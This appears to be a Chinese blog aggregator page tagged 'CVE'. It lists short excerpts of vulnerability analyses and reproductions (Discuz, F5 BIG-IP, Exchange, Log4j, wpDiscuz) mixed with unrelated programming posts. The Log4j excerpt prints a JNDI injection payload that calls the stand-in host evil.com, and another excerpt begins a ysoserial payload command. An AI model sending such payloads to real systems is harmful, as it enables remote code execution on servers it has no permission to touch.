CVE

1.5-2.5 命令执行漏洞分析(CVE-2018-14729)

0x00漏洞简述漏洞信息8月27号有人在GitHub上公布了有关Discuz1.5-2.5版本中后台数据库备份功能存在的命令执行漏洞的细节。漏洞影响版本Discuz!1.5-2.50x01漏洞复现官方论坛下载相应版本就好。0x02漏洞分析需要注意的是这个漏洞其实是需要登录后台的，并且能有数据库备份权限，所以比较鸡肋。我这边是用Discuz!2.5完成漏洞复现的，并用此进行漏洞分析的。漏洞点在：so

weixin_39740419·2024-09-15 13:22

mysql 隐秘后门_【技术分享】CVE-2016-5483：利用mysqldump备份可生成后门

预估稿费：100RMB投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿前言mysqldump是用来创建MySQL数据库逻辑备份的一个常用工具。它在默认配置下可以生成一个.sql文件，其中包含创建/删除表和插入数据等。在导入转储文件的时候，攻击者可以通过制造恶意表名来实现任意SQL语句查询和shell命令执行的目的。另一个与之相关的漏洞利用场景可以参考。攻击场景攻击者已经能够访问

Toby Dai·2024-09-15 13:52

解决mysql漏洞 Oracle MySQL Server远程安全漏洞(CVE-2015-0411)

通过查阅官网信息，OracleMySQLServer远程安全漏洞(CVE-2015-0411)，受影响系统：OracleMySQLServer/usr/databases.sql//先备份原有所有数据，

dieweidong5625·2024-09-15 13:05

查看当前计算机CPU架构

1、cat/proc/versionLinuxversion3.10.0-1127.10.1.el7.x86_64([email protected])(gccversion4.8

raoxiaoya·2024-09-14 14:29

CVE-2020-24186 WordPress评论插件wpDiscuz任意文件上传漏洞

0x00漏洞介绍Wordfence的威胁情报团队在一款名叫wpDiscuz的Wordpress评论插件（wpDiscuz是WordPress功能丰富的评论系统插件，可充实网站评论部分）中发现了一个高危漏洞，此漏洞将允许未经认证的攻击者在目标站点中上传任意文件，从而实现远程代码执行。0x01漏洞环境WordPress的gVectorswpDiscuz插件7.0至7.0.4版本中存在远程代码执行漏洞，

sukusec·2024-09-13 23:02

【网络安全】漏洞挖掘之CVE-2019-9670+检测工具

文章目录漏洞介绍正文工具漏洞介绍CVE-2019-9670是一个与ZimbraCollaborationSuite(ZCS)相关的严重漏洞。

秋说·2024-09-13 16:12

微软九月补丁星期二发现了 79 个漏洞

当今最令人担忧的漏洞是CVE-2024-43491，它描述了一个预授权RCE漏洞。该漏洞是由Windows服务堆栈的回归引起的，该回归已回滚了对影响可选组件的许

网络研究观·2024-09-13 09:27

SonicWall SSL VPN曝出高危漏洞，可能导致防火墙崩溃

这个不当访问控制漏洞被追踪为CVE-2024-40766，影响到第5代、第6代和第7代防火墙。SonicWall于8月22日对其进行了修补，并警告称其只影响防火墙的管理访问界面。

FreeBuf-·2024-09-12 11:02

Nginx越界读取缓存漏洞 CVE-2017-7529 漏洞复现

Nginx越界读取缓存漏洞（CVE-2017-7529）byADummy0x00利用路线POC验证—>读取到缓存文件中位于“http返回包体”前的“文件头”、“http返回包头”等内容0x01漏洞介绍Nginx

ADummy_·2024-09-12 08:48

6.11 linux内核管理：内核版本

6.11linux内核管理：内核版本cat/proc/versionLinuxversion3.10.0-229.4.2.el7.x86_64([email protected])(gccversion4.8.220140120

阳光的王小草·2024-09-11 22:09

Nginx 1.26.0 爆 HTTP/3 QUIC 漏洞，建议升级更新到 1.27.0

据悉，Nginx1.25.0-1.26.0主线版本中涉及四个与NGINXHTTP/3QUIC模块相关的中级数据面CVE漏洞，其中三个为DoS攻击类型风险，一个为随机信息泄漏风险，影响皆为允许未经身份认证的用户通过构造请求实施攻击

明月登楼·2024-09-11 12:24

【OpenCV】官方文档学习，库的命名冲突处理办法【声明命名空间】

原文：SomeofthecurrentorfutureOpenCVexternalnamesmayconflictwithSTLorotherlibraries.Inthiscase,useexplicitnamespacespecifierstoresolvethenameconflicts

深耕AI·2024-09-11 11:17

反序列化漏洞

_construct()的利用2.利用普通成员类方法四.PHP反序列化漏洞总结1.CVE-2016-7124一.PHP反序列化1.序列化serialize()首先我们创建了一个对象，通过serialize

Slash_HK·2024-09-10 11:00

arraylist和vector区别

publicArrayList(Collectionc)//构造一个包含指定collection的元素的列表Vector有四个构造方法：publicVector()//使用指定的初始容量和

馒头配咸菜·2024-09-08 23:45

看懂工作细胞丨路痴红血球燃烧了！

淋巴系统由淋巴管(lymphaticvessel)、淋巴组织(lymphatictissue)和淋巴器官(lymphaticorgan

大成的生物·2024-09-07 20:33

3.js - 鸡蛋托

controls/OrbitControls'import{GUI}from'three/examples/jsm/libs/lil-gui.module.min.js'//@ts-ignoreimportbasicVertexShaderfrom

一嘴一个橘子·2024-09-06 12:58

CVE-2024-25852 Linksys RE7000无线扩展器 RCE漏洞

文章目录免责声明漏洞描述漏洞原理影响版本漏洞复现修复建议免责声明本文章仅供学习与交流，请勿用于非法用途，均由使用者本人负责，文章作者不为此承担任何责任漏洞描述RE7000是Linksys推出的一款具有无缝漫游功能的双频AC1900无线扩展器，重点是withseamlessroaming(无缝漫游)漏洞原理RE7000无线扩展器在访问/goform/AccessControl功能接口时在Access

抠脚大汉在网络·2024-09-04 02:14

What are some of halcon‘s best algorithms that opencv doesn‘t implement

HALCON,ahighlyoptimizedmachinevisionlibrary,offersarangeofadvancedalgorithmsthatOpenCVeitherdoesn’timplementorhandlesdifferently.SomeofthekeystrengthsofHALCONcomparedtoOpenCVinclude

0010000100·2024-09-03 22:20

探索安全的边界：深入解析CVE-2023-7028——GitLab账户接管漏洞

探索安全的边界：深入解析CVE-2023-7028——GitLab账户接管漏洞在网络安全的最前沿，总有那么一些发现让整个社区为之一震。

邹澜鹤Gardener·2024-09-01 21:19

【小本本笔记】yolov8跑模型缓慢，内存提示不足？

在性能的设置里面去增加虚拟内存来解决（我是通过这个解决了）减小batch-size减少对gpu的负载降低图片分辨率减少对gpu内存负载使用更小的模型升级gpu，使用更高端的gpuopencv内存不足解决OpenCVError

hhhhhhkkkyyy·2024-09-01 10:09

阿里龙晰系统上将yum安装的myql_8.0.36升级到mysql_8.4.0的过程

阿里龙晰系统上将yum安装的myql_8.0.36升级到mysql_8.4.0的过程本章内容介绍了在阿里龙晰系统上修复OracleMySQL安全漏洞CVE-2024-21176、CVE-2024-21177

老杜095·2024-08-30 12:37

利用批处理脚本快速关闭Windows IPv6防御CVE-2024-38063漏洞攻击

利用批处理脚本快速关闭WindowsIPv6防御CVE-2024-38063漏洞攻击一、WindowsTCP/IP远程代码执行漏洞CVE-2024-38063二、简易批处理脚本关闭Windows系统中的

半点闲·2024-08-29 23:41

RPC 运行时，第二次：发现新的漏洞

这些漏洞的CVE编号为：CVE-2022-26809、CVE-2022-24492和CVE-2022-24528。

红云谈安全·2024-08-27 19:58

在野漏洞的应急响应流程

许多时候，对于负责安全工作又不太擅长安全漏洞技术的人员而言，如何应对突发漏洞是工作中主要的难点，这里的突发漏洞指的是两类：一类是通过新闻、咨询推送，被社会舆论所有关注的CVE漏洞，比如前段时间所谓的核弹级别

洞源实验室·2024-08-27 19:25

【系统安全】Windows内核权限提升漏洞（CVE-2024-30088）

文章目录前言一、漏洞概述二、影响范围三、漏洞复现四、修复建议前言CVE-2024-30088是Windows内核提权漏洞，由越南安全研究员@BùiQuangHiếu详细分析。

李火火安全阁·2024-08-26 17:33

三级_网络技术_32_网络管理技术

1.下列关于漏洞扫描技术和工具的描述中，错误的是()主动扫描工作方式类似于IDSCVE为每个漏洞确定了唯一的名称和标准化的描述X-Scanner采用多线程方式对指定IP地址段进行安全漏洞扫描ISS的SystemScanner

小红红的学习笔记·2024-08-26 00:48

mysql-connector-java与mysql、jdk的对应版本

【腾讯云】腾讯云数据库性能卓越稳定可靠，为您解决数据库运维难题云数据库购买页mysql-connector-java与Mysql对应版本：Connector/JversionDriverTypeJDBCversionMySQLServerversionStatus5.143.0,4.0,4.1,4.25.6

网厓Malico·2024-08-25 12:36

Electron WebPreferences 远程命令执行漏洞（CVE-2018-15685）

漏洞背景GitHubElectron是美国GitHub公司的一个应用程序开发框架。该框架支持使用JavaScript、HTML和CSS编写跨平台桌面应用程序。GitHubElectron中存在安全漏洞。远程攻击者可利用该漏洞执行代码。以下版本受到影响：GitHubElectron1.7.15版本，1.8.7版本，2.0.7版本，3.0.0-beta.6版本。Electron在设置了nodeInte

小白萝卜·2024-08-25 04:42

【反序列化漏洞】关于反序列化漏洞的杂谈1 -- Apache Dubbo 反序列化漏洞 CVE-2023-29234

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、经典的序列化过程二、反序列化漏洞案例1.ApacheDubbo反序列化漏洞（CVE-2023-29234）2.解析漏洞问题

B1ackMa9ic·2024-08-24 13:44

cuML installation guidence

Mycomputer’sgpuisgtx3060ti,cudaversionis11.4.FirstChecktheversionofyourgcc,type“gcc-v”,ensuringthatyourgccversionis9orhigher

clancy_wu·2024-08-23 02:29

第13章网络安全漏洞防护技术原理与应用

13.1.2网络安全漏洞威胁13.1.3网络安全漏洞问题现状CVE、CWE、FIRST、CVSS、NVD、13.2网络安全漏洞分类与管理13.2.1网络安全漏洞来源非技术性安全漏洞的主要来源网络安全责任主体不明确网络安全策略不完备网络安全操作技能不足网络安全监督

sinat_34066134·2024-08-22 16:59

tomcat9漏洞CVE-2024-23672

序号漏洞名称影响主机个数1ApacheTomcat安全漏洞(CVE-2024-23672)1/12ApacheTomcat输入验证错误漏洞(CVE-2024-24549)1/1漏洞名称：CVE-2024

耳边轻语999·2024-08-22 13:45

福建科立讯通信指挥调度管理平台 SQL注入漏洞复现(CVE-2024-2620、CVE-2024-2621)

0x01产品简介福建科立讯通信指挥调度管理平台是一个专门针对通信行业的管理平台。该产品旨在提供高效的指挥调度和管理解决方案，以帮助通信运营商或相关机构实现更好的运营效率和服务质量。该平台提供强大的指挥调度功能，可以实时监控和管理通信网络设备、维护人员和工作任务等。用户可以通过该平台发送指令、调度人员、分配任务，并即时获取现场反馈和报告。0x02漏洞概述福建科立讯通信指挥调度管理平台down_fil

OidBoy_G·2024-03-26 13:00

WordPress Plugin NotificationX插件 SQL注入漏洞复现（CVE-2024-1698）

0x01产品简介WordPress和WordPressplugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。0x02漏洞概述WordPresspluginNotificationX是一个应用插件。2.8.2版本及之前存在安全漏洞，该漏洞源于对用户提供的参数转义不充分以及对现有SQL查询缺乏充分

OidBoy_G·2024-03-24 12:01

软通动力华为java机考题库_软通动力Java考试题库.doc

(选择一项)CVectorStackEnumerationHashtable2)在J2EE中，下列元

假行酥·2024-03-20 00:08

OpenSSL 安全漏洞(CVE-2023-3817)

/secadv/20230731.txtOpenSSL安全建议[2023年7月31日]==========================================检查DHq参数值花费过多时间(CVE

鹊鹊_Y·2024-03-08 13:07

【C# 数据结构】图的最短路径弗洛伊德（Floyd）算法

输出路径部分参考：https://blog.csdn.net/weixin_39956356/article/details/80620667点：classVertex{publicintdata;publicVerte

弹着吉他敲着代码·2024-02-26 18:06

寄予厚望！2024中科院《预警期刊名单》

点击下方卡片，关注“CVer”公众号AI/CV重磅干货，第一时间送达点击进入—>【论文投稿】微信交流群扫码加入CVer学术星球，可以获得最新顶会/顶刊上的论文idea和CV从入门到精通资料，以及最前沿项目和应用

Amusi（CVer）·2024-02-20 22:16

[CVE-2022-1388]F5-BIGIP iControl REST绕过授权访问漏洞

一、背景F5BIG-IP产品系列包括运行F5TMOS操作系统的硬件、模块化软件和虚拟设备。根据所选设备，可以添加一个或多个BIG-IP产品模块。产品包括：BIG-IP本地流量管理器(LTM)：基于全代理架构，具有缓存、压缩和tcp加速的本地负载平衡。BIG-IPDNS：智能全球站点负载平衡(GSLB)和权威DNS服务器。根据用户、网络和云性能条件分发DNS和应用程序请求。BIG-IP高级防火墙管理

一苇sec·2024-02-20 19:21

F5漏洞复现[CVE-2020-5902]与[CVE_2021_22986]

引言 F5BIG-IP广泛应用于大型企业，数据中心、云计算平台中，可以实现应用加速、负载均衡、SLL过载、web应用防火墙等功能。这篇文章主要是复现F5的漏洞，包括其被远程代码执行的过程，以及探究以下我们可以在F5上远程执行代码之后可以做哪些事情。环境搭建 F5的环境搭建教程在网上可以查到很多，这里大概介绍以下流程与心得。首先搭建环境需要使用vmware软件运行F5的镜像来实现，需要下载并安装相关

Coder_preston·2024-02-20 19:51

F5 BIG-IP 高危漏洞可导致拒绝服务和代码执行

编译：代码卫士F5提醒称，BIG-IP中存在一个高危格式化字符串漏洞(CVE-2023-22374)，可导致认证攻击者触发拒绝服务条件并可能执行任意代码。

奇安信代码卫士·2024-02-20 19:20

【漏洞复现】F5 BIG-IP 远程代码执行漏洞(CVE-2023-46747)

F5BIG-IP远程代码执行漏洞(CVE-2023-46747)漏洞描述F5BIG-IP远程代码执行漏洞(CVE-2023-46747)，未经授权的远程攻击者通过管理端口或自身IP地址访问BIG-IP系统

webQD153·2024-02-20 19:19

黑客利用Exchange漏洞传播新型勒索病毒

根据微软官方统计，目前发现已有4个漏洞被用于攻击，分别为:CVE-2021-26855、CVE-2021-26857、CVE-2021-26858、CVE-2021-27065。

熊猫正正·2024-02-20 19:49

9、内网安全-横向移动&Exchange服务&有账户CVE漏洞&无账户口令爆破

用途：个人学习笔记，有所借鉴，欢迎指正！背景：在内网环境的主机中，大部分部署有Exchange邮件服务，对于Exchange服务的漏洞也是频出，在这种情况下，如果拿到内网中一台主机权限，便可以针对部署Exchange邮件服务的主机进行横向移动，以下包括三方面：Exchange探针、Exchange爆破、Exchange漏洞利用知识点：1、横向移动-内网服务-Exchange2、横向移动-无账户-E

++⁠⁠·2024-02-20 12:26

XMall 开源商城 SQL注入漏洞复现(CVE-2024-24112)

0x01产品简介XMall开源电商商城是开发者Exrick的一款基于SOA架构的分布式电商购物商城前后端分离前台商城:Vue全家桶后台管理:Dubbo/SSM/Elasticsearch/Redis/MySQL/ActiveMQ/Shiro/Zookeeper等。0x02漏洞概述XMall开源商城/item/list、/item/listSearch、/sys/log、/order/list、/m

OidBoy_G·2024-02-20 11:27

vulhub中Apache Log4j2 lookup JNDI 注入漏洞（CVE-2021-44228）

ApacheLog4j2是Java语言的日志处理套件，使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入，执行任意代码。1.服务启动后，访问`http://your-ip:8983`即可查看到ApacheSolr的后台页面。2.`$

余生有个小酒馆·2024-02-20 06:39

vulhub中Apache Log4j Server 反序列化命令执行漏洞复现（CVE-2017-5645）

ApacheLog4j是一个用于Java的日志记录库，其支持启动远程日志服务器。ApacheLog4j2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。1.我们使用ysoserial生成payload，然后直接发送给`your-ip:4712`端口即可。java-jarysoserial-master-v0.0.5-gb617b7b-16.jarCommonsCollect

余生有个小酒馆·2024-02-20 06:23

Nacos系统历史CVE漏洞的复现分析与检测

文章目录前言CVE-2021-29441认证绕过1.1环境搭建与复现1.2漏洞源码的分析1.3修复方案被绕过1.4衍生的默认凭据QVD-2023-6271默认密钥2.1环境搭建与复现2.2漏洞修复与现状

Tr0e·2024-02-19 16:24

Apache Apisix网关系统历史漏洞复现分析

文章目录前言CVE-2020-13945默认api令牌CVE-2021-45232未授权接口2.1默认账户密码导致RCE2.2未授权访问api接口RCECVE-2022-24112地址限制绕过CVE-2022

Tr0e·2024-02-19 16:46

CVE-2022-22947 Spring Cloud Gateway RCE漏洞复现分析

目录（一）基本介绍1、微服务架构与SpringCloud2、SpringCloud生态3、网关作用4、SpringCloudGateway使用5、SpringCloudGateway概念5.1路由（Route）5.2断言（Predicate）5.3过滤器（Filter）6、SpringBootActuator6.1使用方法7、Gateway(网关服务)和Actuator(监控组件)8、Actuat

@Camelus·2024-02-19 13:52

推荐频道

CVE